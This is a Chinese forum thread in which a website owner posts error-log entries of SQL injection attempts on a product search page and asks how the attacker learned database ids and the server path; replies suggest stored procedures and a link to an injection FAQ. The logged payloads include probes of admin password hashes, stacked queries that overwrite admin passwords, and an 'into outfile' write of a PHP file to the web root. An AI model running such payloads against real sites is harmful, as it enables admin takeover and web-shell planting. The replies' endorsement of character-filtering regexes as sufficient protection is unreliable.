sql注入问题

[啾啾我]

错误URL地址 : /product/default.aspx
错误时间 : 2016-03-18 22:11:53
错误：鸡缸杯%'and (select count(*) from admin where id=3 and password='268C0C9BC21B1207A84F553B11E372E8')=1 and '%'='

**************************************************************************************
错误URL地址 : /product/default.aspx
错误时间 : 2016-03-18 22:12:00
错误：鸡缸杯%'and (select count(*) from admin where id=3 and password='168C0C9BC21B1207A84F553B11E372E8')=1 and '%'='

**************************************************************************************
错误URL地址 : /product/default.aspx
错误时间 : 2016-03-18 22:12:24
错误：鸡缸杯%'and (select count(*) from admin where id=120 and password='B3E1B96D0A042ED33AE27D54C68C8FC4')=1 and '%'='

**************************************************************************************
错误URL地址 : /view/default.aspx
错误时间 : 2016-03-18 22:12:59
错误：鸡缸杯%'; update admin set password='268C0C9BC21B1207A84F553B11E372E8' where id=120;--

**************************************************************************************
错误URL地址 : /product/default.aspx
错误时间 : 2016-03-18 22:13:43
错误：鸡缸杯%'; update admin set password='B3E1B96D0A042ED33AE27D54C68C8FC4' where id=120;--

**************************************************************************************

错误URL地址 : /product/default.aspx
错误时间 : 2016-03-18 22:13:52
错误：鸡缸杯%'and (select count(*) from admin where id=120 and password='B3E1B96D0A042ED33AE27D54C68C8FC4')=1 and '%'='

**************************************************************************************
错误URL地址 : /product/default.aspx
错误时间 : 2016-03-18 22:19:42
错误：鸡缸杯%'; select 'aaa' into outfile 'd:\wwwroot\web\test.php';--

**************************************************************************************

这个是我前几天通过错误日志记录的用户输入的信息，当然我后台有一个正则过滤一些特殊字符

if (Regex.IsMatch(value, @"[|;|\.|,|\/||||\}|\{|%|@|\*|!|\']"))

他这些sql注入都是通过一个网页产品搜索功能尝试的。例如product/?value='输入的查询字符串' 后台直接验证like%查询

我想不明白的是他怎么知道我的数据库中id有120，3的数据，还有他怎么知道我的虚拟路径d:\wwwroot\web\这个的，是自己尝试的还是通过其他方式获得的。

[唐诗三百首]

建议把SQL封装为存储过程,前端程序调用存储过程输入参数即可.

[啾啾我]

引用 1 楼 ap0405140 的回复:

建议把SQL封装为存储过程,前端程序调用存储过程输入参数即可.

我后台使用正则过滤掉一些字符能够解决这问题吗？我的查询不是拼接的sql，都是是参数化查询

[唐诗三百首]

引用 2 楼 sossos555 的回复:

我后台使用正则过滤掉一些字符能够解决这问题吗？我的查询不是拼接的sql，都是是参数化查询

应该可以.

[啾啾我]

引用 3 楼 ap0405140 的回复:

应该可以.

我想不明白的是他怎么知道我的数据库中id有120，3的数据，还有他怎么知道我的虚拟路径d:\wwwroot\web\这个的，是自己尝试的还是通过其他方式获得的。

[中国风]

SQL注入专题--整理帖 http://bbs.csdn.net/topics/290032853